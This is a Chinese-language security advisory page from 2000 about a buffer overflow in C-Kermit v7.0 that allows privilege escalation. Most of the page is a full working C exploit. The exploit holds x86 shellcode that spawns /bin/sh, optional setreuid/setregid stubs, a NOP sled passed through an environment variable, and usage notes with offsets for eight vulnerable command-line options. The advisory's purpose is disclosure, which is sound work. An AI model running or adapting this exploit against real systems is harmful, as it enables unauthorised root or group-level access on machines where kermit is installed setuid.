C-Kermit开发代码已发布

/ns/ld/unix/data/20010303061904.htm

发布日期:2000-12-20

摘要:
我们在先前的安全建议中报导了一个关于C-Kermit中的安全漏洞: C-Kermit中的缓冲区溢出能扩展特权.
现在发布了一个漏洞开发代码来更好的示范这个漏洞.
注意: C-Kermit不需要被置用户权限(setuid), 但有些风格的UNIX安装时已将它置用户权限.
细节:
受影响系统: C-Kermit v7.0

开发代码:
/* (linux)ckermit[v7.0] local overflow, by v9[v9@fakehalo.org]. the ckermit
package is commonly installed setuid/setgid, mainly on bsd systems. but,
same rules apply to linux. there are multiple overflows in this package,
some of them need setre*id(); shellcode to obtain the id of the program.
if you find you need the setre*id() asm/shellcode, simply uncomment one of
the two commented lines in the exec[] array(not both) and select an id to
use(usually uid=10 or gid=14 which is uucp).

note: i pre-wrapped this so it wouldn't get wrapped where it wouldn't work.
also, this isn't what i originally made this asm code for but, it
applied here as well.
*/
#define PATH "/usr/local/bin/kermit" // path to the c-kermit.
#define FILLER 0x78 // to fill in the alignment.
#define DEFAULT_OFFSET 5000 // generic offset.
#define DEFAULT_ALIGN 0 // generic alignment.
#define DEFAULT_ID 10 // uid=uucp, generic.
static char exec[]=
// uncomment for setreuid(?,?); -- ? being the id value supplied.
// "\x29\xc0\xb0\x46\x29\xdb\xb3\x00\x89\xd9\xcd\x80"
// uncomment for setregid(?,?); -- ? being the id value supplied.
// "\x29\xc0\xb0\x47\x29\xdb\xb3\x00\x89\xd9\xcd\x80"
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char eip[1050],final[1075],buf[4096],*typeset[8]={"dbfile","wtmpfile",
"initfile","root","xferfile","userfile","helpfile","bannerfile"};
int i,offset,align,id,type;
long ret;
printf("[ (linux)ckermit[v7.0] local overflow, by: v9[v9@fakehalo.org]. ]\n");
if(!argv[1]||!strcmp(argv[1],"--help")){
printf(
"::: (syntax): %s <type(1-8)> [offset] [alignment] [id].\n"
"::: (type): 1:--dbfile : doesn't need setre*id asm. (o=5000 a=3)\n"
"::: (type): 2:--wtmpfile : doesn't need setre*id asm. (o=5000 a=3)\n"
"::: (type): 3:--initfile : doesn't need setre*id asm. (o=5000 a=3)\n"
"::: (type): 4:--root : doesn't need setre*id asm. (o=5000 a=3)\n"
"::: (type): 5:--xferfile : doesn't need setre*id asm. (o=5000 a=3)\n"
"::: (type): 6:--userfile : doesn't need setre*id asm. (o=5000 a=3)\n"
"::: (type): 7:--helpfile : does need setre*id asm. (o=5000 a=1)\n"
"::: (type): 8:--bannerfile: does need setre*id asm. (o=5000 a=1)\n"
"::: (required): argument alignment value must be: 0-3.\n"
"::: (required): argument user/group id value must be: 1-255.\n"
"::: (example): %s 1 5000 3\n",argv[0],argv[0]);
exit(0);
}
else{
if(atoi(argv[1])<1||atoi(argv[1])>8){
printf("::: (error): invalid type: %d. (user 1-8)\n",atoi(argv[1]));
exit(-1);
}
else{type=(atoi(argv[1])-1);}
}
if(argc>2){offset=atoi(argv[2]);}
else{offset=DEFAULT_OFFSET;}
if(argc>3){
if(atoi(argv[3])>3||atoi(argv[3])<0){
printf("::: (error): ignored argument alignment value: %s. (use 0-3)\n",
argv[3]);
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[3]);}
}
else{align=DEFAULT_ALIGN;}
if(argc>4){
if(atoi(argv[4])<1||atoi(argv[4])>255){
printf("::: (error): ignored argument uid/gid value: %s. (use 1-255)\n",
argv[4]);
id=DEFAULT_ID;
}
else{id=atoi(argv[4]);}
}
else{id=DEFAULT_ID;}
ret=(pointer()+offset);
for(i=0;i<align;i++){*(eip+i)=FILLER;}
for(i=align;i<1050;i+=4){*(long *)&eip[i]=ret;}
for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
if(exec[12]==0x29){
printf("::: (error): both setreuid and setregid asm are uncommented. (only "
"one allowed)\n");
exit(-1);
}
if(exec[0]==0x29){
exec[7]=id;
if(exec[3]==0x46){
printf("::: (note): setreuid(?,?) asm is active.\n");
}
else if(exec[3]==0x47){
printf("::: (note): setregid(?,?) asm is active.\n");
}
else{printf("::: (error): error in shellcode. (exec[])\n");exit(-1);}
}
else{printf("::: (note): setre*id(?,?) asm is not active.\n");}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
snprintf(final,sizeof(final),"--%s:%s",typeset[type],eip);
printf(
"::: (data): return address: 0x%lx, offset: %d, alignment: %d, id: %d.\n"
"::: (data): size(eip->final): %d->%d, size(buf): %d[nops:%d].\n"
"::: (data): using type %d(%s), parameter: --%s:<buffer>.\n",ret,offset,align,
id,strlen(eip),strlen(final),strlen(buf),
(strlen(buf)-strlen((char *)strrchr(buf,0x90))+1),(type+1),typeset[type],
typeset[type]);
if(execlp(PATH,"kermit",final,0)){
printf("::: (error): could not execute: %s.\n",PATH);
exit(-1);
}
}